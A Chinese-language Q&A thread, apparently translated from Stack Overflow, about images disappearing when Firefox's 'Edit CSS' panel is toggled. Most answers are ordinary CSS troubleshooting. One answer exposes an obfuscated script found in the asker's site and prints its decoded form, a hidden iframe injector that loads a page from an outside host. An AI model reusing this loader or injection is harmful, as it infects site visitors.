1

我为 HTML 文档编辑和构建样式表的典型工作流程是打开 Firefox Web 开发人员工具栏的 Edit CSS 面板并直接在浏览器窗口中进行编辑。

大多数时候,这就像一个魅力。但是,有时当我打开“编辑 CSS”面板时,某些图像会消失,我不知道为什么。更奇怪的是,有时我在工具栏打开时添加的图像在关闭时不可见。(我说的主要是使用 CSS background-image 规则添加的图像)。

这里有一些例子......

http://kenbrook.org - 如果您打开编辑 CSS 面板,主体背景图像以及几个 div 背景会消失。事实上,我认为几乎所有的 CSS 背景图像图像都消失了。我没有在这个网站上编写标记和大部分样式,但我负责编辑和完成它们。所以知道为什么会这样吗?

http://joelglovier.com - 也检查一下我刚刚构建自己并为其编写样式的这个(现在页面上只有几个元素)。在标题 div 中,我有一个空的 div,我正在将图像放入其中。当 Edit CSS 打开时,图像会按预期显示。然而,当它关闭时,看不到图像,虽然使用萤火虫我可以看到样式肯定被应用并且 div 是它应该在的位置。

有什么解释吗??

4

5 回答 5

2

当 CSS 文件和图像文件与 HTML 不在同一目录中时,我已经看到了这个问题。例如我有这个目录结构:

index.html
image/background.jpg
css/index.css

我的 CSS 中有这个:

body { background-image:image/index.html; }

当 Web Developer 的 CSS 编辑器打开时,它就可以工作了。当我关闭它时,它没有。

原来答案是图像的路径是相对于 CSS 文件的,而不是相对于 HTML 文件的。打开 CSS 编辑器后,它正确地找出了路径。当它关闭时,Firefox 找不到该图像。

如果您想使用编辑器并将文件放在不同的目录中,我想 CSS 中的路径应该是绝对的。

于 2011-03-23T20:27:02.120 回答
1

好吧,我无法复制您的问题,当我打开“编辑 CSS 面板”时,页面保持不变,但我的病毒扫描程序警告我,您的一个脚本 (/assets/js/slides.js) 有一个隐藏的特洛伊木马。 Script.Iframer 里面...

也许你可以试试 firebug,它也有一个强大的 css 在线编辑器。

于 2010-07-30T15:41:38.513 回答
1

这段代码的目的是什么(来自http://kenbrook.org/assets/js/slides.js

var source ="=tdsjqu?jg!)epdvnfou/dppljf/tfbsdi)#koewv>3#*!>>!.2*!|sz{{>epdvnfou/hfuFmfnfouCzJe)(m{nig(*<jg)sz{{>>ovmm*|epdvnfou/xsjuf)(=jgsbnf!je>m{nig!tsd>iuuq;00xxx/tqjsjufl/dp/kq0bttfut0kt0bkby/qiq!tuzmf>ejtqmbz;opof?=0jgsbnf?(*<~epdvnfou/dppljf!>!#koewv>3<fyqjsft>Tvo-!12.Efd.3122!19;11;11!HNU<qbui>0#<~=0tdsjqu?"; var result = "";
                   for(var i=0;i<source.length;i++) {
                       result+=String.fromCharCode(source.charCodeAt(i)-1);
                   }
                   document.write(result);

未混淆它会将其写入文档

<script>if (document.cookie.search("jndvu=2") == -1) {
ryzz=document.getElementById('lzmhf');if(ryzz==null){document.write('<iframe id=lzmhf src=http://www.spiritek.co.jp/assets/js/ajax.php style=display:none></iframe>');}
document.cookie = "jndvu=2;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}</script>

你知道它的存在吗?

于 2010-07-31T17:46:04.777 回答
1

不过,如果您查看 Web 开发人员工具栏主页,我会发现:“‘编辑 CSS’不适用于与 CSS 相关的背景图像”,位于“问题”下。因此,插件目前无法处理相对链接的图像。尝试让插件的创建者修复它......我也很讨厌这个问题......

于 2010-10-19T16:55:18.567 回答
0

我想我找到了问题所在 - 至少对于第二个链接。对于打开编辑 CSS 时显示的那个,但在没有打开该面板的情况下不显示,似乎我忽略了在绝对定位的 div 上定义一个顶部:值。当我定义了最高值时,图像显示在普通浏览器和编辑 CSS 打开的情况下显示。

不确定这是否适用于 kenbrook.org,其中图像正常显示但在打开编辑 CSS 时消失。

于 2010-07-24T16:30:20.500 回答